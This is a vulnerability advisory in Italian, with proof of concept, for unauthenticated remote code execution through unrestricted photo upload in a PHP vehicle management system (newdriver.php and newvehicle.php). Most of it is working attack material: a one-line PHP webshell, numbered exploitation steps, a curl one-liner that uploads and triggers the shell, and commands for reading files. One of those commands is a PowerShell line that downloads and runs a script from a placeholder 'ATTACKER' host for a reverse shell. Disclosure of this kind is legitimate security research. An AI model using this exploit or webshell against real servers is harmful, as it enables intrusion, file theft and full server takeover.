Vehicle Management System In PHP - Esecuzione remota di codice non autenticata tramite caricamento di file in newdriver.php

Informazioni sulla vulnerabilità

Descrizione

Il Vehicle Management System In PHP V1.0 di code-projects.org è vulnerabile all'esecuzione remota di codice non autenticata tramite caricamento di file senza restrizioni in newdriver.php (e identicamente in newvehicle.php).

L'applicazione espone un modulo di registrazione "New Driver" riservato all'amministratore all'indirizzo newdriver.php che include un campo per il caricamento della foto. Tuttavia, l'endpoint non esegue alcuna validazione della sessione — qualsiasi attaccante non autenticato può accedervi direttamente senza essere reindirizzato al login. Inoltre, il campo di caricamento della foto accetta qualsiasi tipo di file, inclusi i file PHP, senza filtro sull'estensione, validazione del tipo MIME o ispezione del contenuto.

Un attaccante può:

1. Visitare direttamente newdriver.php senza alcuna sessione o credenziale
2. Inviare il modulo del conducente con una webshell PHP come "foto"
3. La shell viene salvata nella directory /picture/
4. Navigare fino alla shell caricata ed eseguire comandi arbitrari del sistema operativo sul server

Ciò comporta l'esecuzione remota di codice completa con i privilegi del processo del server web.

Catena della vulnerabilità

Unauthenticated HTTP Request
        ↓
newdriver.php (no session check)
        ↓
photo field accepts .php file (no file type validation)
        ↓
Shell saved to /picture/web_shell.php
        ↓
GET /picture/web_shell.php?cmd=whoami
        ↓
RCE — arbitrary OS command execution

Passaggi per la riproduzione

Passaggio 1 — Confermare l'accesso non autenticato a newdriver.php

Aprire un browser pulito senza sessione (finestra di navigazione in incognito/privata). Navigare direttamente all'endpoint:

http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php

Il modulo New Driver viene caricato correttamente senza alcun controllo di autenticazione e senza reindirizzamento al login.

Passaggio 2 — Preparare la webshell PHP

Creare una semplice webshell PHP per l'esecuzione di comandi:

<?php system($_GET['cmd']); ?>

Salvarla come shell.php (o qualsiasi nome file .php).

Passaggio 3 — Inviare il modulo con la webshell come foto

Compilare i campi del modulo del conducente con valori arbitrari e selezionare la webshell PHP come caricamento della foto:

Driver Name:        test
Mobile:             1234567890
Driver Joining Date: 2026-05-19
National ID:        test
License No:         test
License End Date:   2026-05-30
Driver Address:     test
Photo:              shell.php   ← PHP webshell uploaded here

Fare clic su Submit Query.

Passaggio 4 — Caricamento della shell confermato

L'applicazione risponde con "Registration Completed!" — confermando che la shell PHP è stata accettata e salvata senza alcuna validazione.

Passaggio 5 — Eseguire comandi arbitrari tramite la shell caricata

Navigare fino alla shell caricata nella directory /picture/ e passare comandi del sistema operativo tramite il parametro cmd:

http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami

Il server esegue il comando e restituisce l'output:

desktop-g1i9np3\dell

Passaggio 6 — Ulteriori esempi di esecuzione di comandi

# Read sensitive files
http://TARGET/.../picture/shell.php?cmd=type+C:\xampp\htdocs\VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\newdriver.php

# List web root
http://TARGET/.../picture/shell.php?cmd=dir+C:\xampp\htdocs\

# Full reverse shell via PowerShell
http://TARGET/.../picture/shell.php?cmd=powershell+-c+"IEX(New-Object+Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"

Secondo endpoint interessato — newvehicle.php

La stessa identica vulnerabilità esiste in newvehicle.php. Un attaccante non autenticato può accedere al modulo Add New Vehicle, caricare una webshell PHP tramite il campo della foto del veicolo e ottenere l'esecuzione remota di codice con lo stesso metodo.

http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newvehicle.php

Entrambi gli endpoint condividono la stessa causa principale: nessuna validazione della sessione e nessuna restrizione sul caricamento dei file.

PoC con curl (one-liner)

curl -s -X POST \
  "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php" \
  -F "dname=test" \
  -F "mobile=1234567890" \
  -F "djoiningdate=2026-05-19" \
  -F "nid=test" \
  -F "licenseno=test" \
  -F "licenseenddate=2026-05-30" \
  -F "daddress=test" \
  -F "[email protected];type=image/jpeg" \
  && echo "[+] Shell uploaded" \
  && curl -s "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami"

Impatto

• Esecuzione remota di codice non autenticata — qualsiasi attaccante anonimo sulla rete ottiene la piena esecuzione di comandi del sistema operativo
• Compromissione completa del server — accesso in lettura/scrittura a tutti i file, credenziali, configurazione del database
• Nessuna interazione richiesta — exploit completamente automatizzato in una singola richiesta HTTP
• Due endpoint interessati — newdriver.php e newvehicle.php sono entrambi vulnerabili

File interessati

Informazioni sul fornitore

• Homepage del fornitore: https://code-projects.org/vehicle-management-system-in-php-with-source-code/
• Download: https://code-projects.org/vehicle-management-system-in-php-with-source-code/

Scoperto da

Syed Imad Uddin Alvi (imad alvi)
Ricercatore indipendente di sicurezza